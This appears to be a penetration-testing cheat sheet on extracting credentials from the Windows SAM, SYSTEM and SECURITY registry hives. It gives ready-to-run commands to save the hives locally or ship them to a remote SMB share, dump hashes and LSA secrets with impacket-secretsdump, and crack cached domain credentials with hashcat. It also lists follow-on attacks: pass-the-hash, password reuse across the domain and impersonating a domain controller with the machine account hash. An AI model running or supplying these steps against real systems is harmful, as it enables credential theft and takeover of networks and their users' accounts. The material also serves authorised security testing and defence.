Skip to content

SAM / SYSTEM / SECURITY

  • SAM: Local Security Account Manager hive. Holds local users/groups and NT/LM password hashes.
  • SECURITY: LSA policy hive. Holds LSA Secrets, NL$KM and MSCachev2 entries.

  • SYSTEM: System hive which holds the LSA BootKey (SysKey) used to decrypt data in SAM and SECURITY. Low value on its own.

  • Dump secrets: impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

Hive File Retrieval

Local Access

reg save HKLM\SECURITY C:\temp\SECURITY
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SOFTWARE C:\temp\SOFTWARE

SMB Access

impacket-reg domain/username@ip -no-pass save -keyName 'HKLM\SECURITY' -o '\\<smb_server_ip>\C$
impacket-reg domain/username@ip -no-pass save -keyName 'HKLM\SAM' -o '\\<smb_server_ip>\C$
impacket-reg domain/username@ip -no-pass save -keyName 'HKLM\SYSTEM' -o '\\<smb_server_ip>\C$

Attack Paths

SAM + SYSTEM Dump

Impersonate Other Users (Local Accounts)

  • Steal other user's password hashes, pass-the-hash to authenticate as them.
  • Check for password reuse and pass them across the domain.
  • Pass-the-Hash using remote execution tools

SECURITY + SYSTEM Dump

  • Service/Task creds (plain or reversible)
  • AutoLogon (DefaultPassword)
  • $MACHINE.ACC (computer account NT hash)
  • Decrypt DPAPI Secrets using DPAPI_SYSTEM
  • Encrypted MSCachev2 Domain Creds
    • Crack with: hashcat -m 2100 mscachev2.hashes <wordlist>

Impersonate DC or Privileged Host via MACHINE.ACC$